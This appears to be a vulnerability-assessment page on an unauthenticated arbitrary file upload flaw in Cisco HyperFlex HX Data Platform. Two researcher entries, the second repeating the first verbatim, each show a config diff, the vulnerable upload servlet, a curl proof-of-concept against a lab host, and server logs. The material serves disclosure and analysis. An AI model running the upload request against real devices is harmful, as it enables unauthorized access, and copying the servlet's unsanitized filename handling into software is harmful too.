A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user.
Recent assessments:
wvu-r7 at May 18, 2021 12:23am UTC reported:
Arbitrary file upload (RCE implied) in the /upload
endpoint.
--- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
include uwsgi_params;
}
- location /crossdomain.xml
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
- location / {
+ location = / {
return 301 https://$host$request_uri;
}
@@ -80,12 +73,6 @@
### Max upload file size
client_max_body_size 8000m;
- location /upload {
- auth_basic off;
- allow all;
- proxy_pass http://localhost:8000;
- }
-
# similar to storfs-support but with NO auth
location ~ ^/(storfs-asup)
{
@@ -188,13 +175,6 @@
include uwsgi_params;
}
- location ~ ^/(crossdomain\.xml)
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
# route all traffic that needs authentication to stMgr
location ~ ^/(stmgr)
{
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.isMultipart = ServletFileUpload.isMultipartContent(request);
response.setContentType("application/json");
PrintWriter out = response.getWriter();
if (!this.isMultipart) {
out.println("{\"result\": \"Invalid content-type.\"}");
logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
response.setStatus(400);
return;
}
ServletFileUpload upload = new ServletFileUpload();
upload.setSizeMax(this.maxFileSize);
FileOutputStream fout = null;
InputStream stream = null;
try {
FileItemIterator iter = upload.getItemIterator(request);
while (iter.hasNext()) {
try {
FileItemStream fi = iter.next();
stream = fi.openStream();
String uploadedFileName = this.dirPath + "/" + fi.getName();
File uploadedFile = new File(uploadedFileName);
fout = new FileOutputStream(uploadedFile);
byte[] buffer = new byte[1024];
int len;
while ((len = stream.read(buffer, 0, buffer.length)) != -1)
fout.write(buffer, 0, len);
out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
} catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
} finally {
if (fout != null) {
logger.info("Closing fout");
fout.close();
}
if (stream != null) {
logger.info("Closing stream");
stream.close();
}
}
}
} catch (Exception ex) {
out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("Exception during file upload servlet stream processing: " + ex);
response.setStatus(500);
}
}
wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
* Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
[email protected]:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
[email protected]:~#
==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"
==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream
==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream
==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56
jheysel-r7 at July 06, 2021 2:53pm UTC reported:
Arbitrary file upload (RCE implied) in the /upload
endpoint.
--- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
include uwsgi_params;
}
- location /crossdomain.xml
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
- location / {
+ location = / {
return 301 https://$host$request_uri;
}
@@ -80,12 +73,6 @@
### Max upload file size
client_max_body_size 8000m;
- location /upload {
- auth_basic off;
- allow all;
- proxy_pass http://localhost:8000;
- }
-
# similar to storfs-support but with NO auth
location ~ ^/(storfs-asup)
{
@@ -188,13 +175,6 @@
include uwsgi_params;
}
- location ~ ^/(crossdomain\.xml)
- {
- auth_basic off;
- proxy_pass http://localhost:8000;
- allow all; # Allow all to see content
- }
-
# route all traffic that needs authentication to stMgr
location ~ ^/(stmgr)
{
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.isMultipart = ServletFileUpload.isMultipartContent(request);
response.setContentType("application/json");
PrintWriter out = response.getWriter();
if (!this.isMultipart) {
out.println("{\"result\": \"Invalid content-type.\"}");
logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
response.setStatus(400);
return;
}
ServletFileUpload upload = new ServletFileUpload();
upload.setSizeMax(this.maxFileSize);
FileOutputStream fout = null;
InputStream stream = null;
try {
FileItemIterator iter = upload.getItemIterator(request);
while (iter.hasNext()) {
try {
FileItemStream fi = iter.next();
stream = fi.openStream();
String uploadedFileName = this.dirPath + "/" + fi.getName();
File uploadedFile = new File(uploadedFileName);
fout = new FileOutputStream(uploadedFile);
byte[] buffer = new byte[1024];
int len;
while ((len = stream.read(buffer, 0, buffer.length)) != -1)
fout.write(buffer, 0, len);
out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
} catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
} finally {
if (fout != null) {
logger.info("Closing fout");
fout.close();
}
if (stream != null) {
logger.info("Closing stream");
stream.close();
}
}
}
} catch (Exception ex) {
out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
logger.error("Exception during file upload servlet stream processing: " + ex);
response.setStatus(500);
}
}
wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
* Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
[email protected]:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
[email protected]:~#
==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"
==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream
==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream
==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56
Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 5